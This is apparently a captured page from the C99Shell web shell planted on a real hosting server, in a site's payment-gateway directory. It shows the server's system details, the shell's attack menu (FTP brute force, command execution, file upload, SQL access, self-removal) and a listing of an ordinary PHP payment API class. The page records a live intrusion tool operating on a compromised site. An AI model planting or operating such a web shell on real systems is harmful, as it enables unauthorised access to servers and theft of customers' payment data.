!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/   drwxr-xr-x
Free 183.73 GB of 490.84 GB (37.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Level3InfoProduct.php (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Level3InfoProduct {
    
    public 
$productCode;
    public 
$productDescription;
    public 
$items;
    public 
$amount;
    public 
$imgURL;

    function 
__construct() {
    }


    public function 
toXml() {
        
$sb "";
        
$sb .= "<product>";
        if (
$this->productCode != NULL) {
            
$sb .= "<productCode><![CDATA[";
            
$sb .= $this->productCode;
            
$sb .= "]]></productCode>";
        }
        if (
$this->productDescription != NULL) {
            
$sb .= "<productDescription><![CDATA[";
            
$sb .= $this->productDescription;
            
$sb .= "]]></productDescription>";
        }
        if (
$this->items != NULL) {
            
$sb .= "<items><![CDATA[";
            
$sb .= $this->items;
            
$sb .= "]]></items>";
        }
        if (
$this->amount != NULL) {
            
$sb .= "<amount><![CDATA[";
            
$sb .= $this->amount;
            
$sb .= "]]></amount>";
        }
        if (
$this->imgURL != NULL) {
            
$sb .= "<imgURL><![CDATA[";
            
$sb .= $this->imgURL;
            
$sb .= "]]></imgURL>";
        }
        
$sb .= "</product>";
        return 
$sb;
    }

    public static function 
fromXml($xml) {

        if (
$xml=="" || $xml==NULL) {
            return;
        }

        
$dom = new SimpleXMLElement($xmlLIBXML_NOERRORfalse);
        if (
count($dom)==0) {
            return;
        }

        
$response IgfsUtils::parseResponseFields($dom);
        
$product NULL;
        if (isset(
$response) && count($response)>0) {
            
$product = new Level3InfoProduct();
            
$product->productCode = ($response["productCode"]);
            
$product->productDescription = ($response["productDescription"]);
            
$product->items = ($response["items"]);
            
$product->amount = ($response["amount"]);
            
$product->imgURL = ($response["imgURL"]);
        }
        return 
$product;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0654 ]--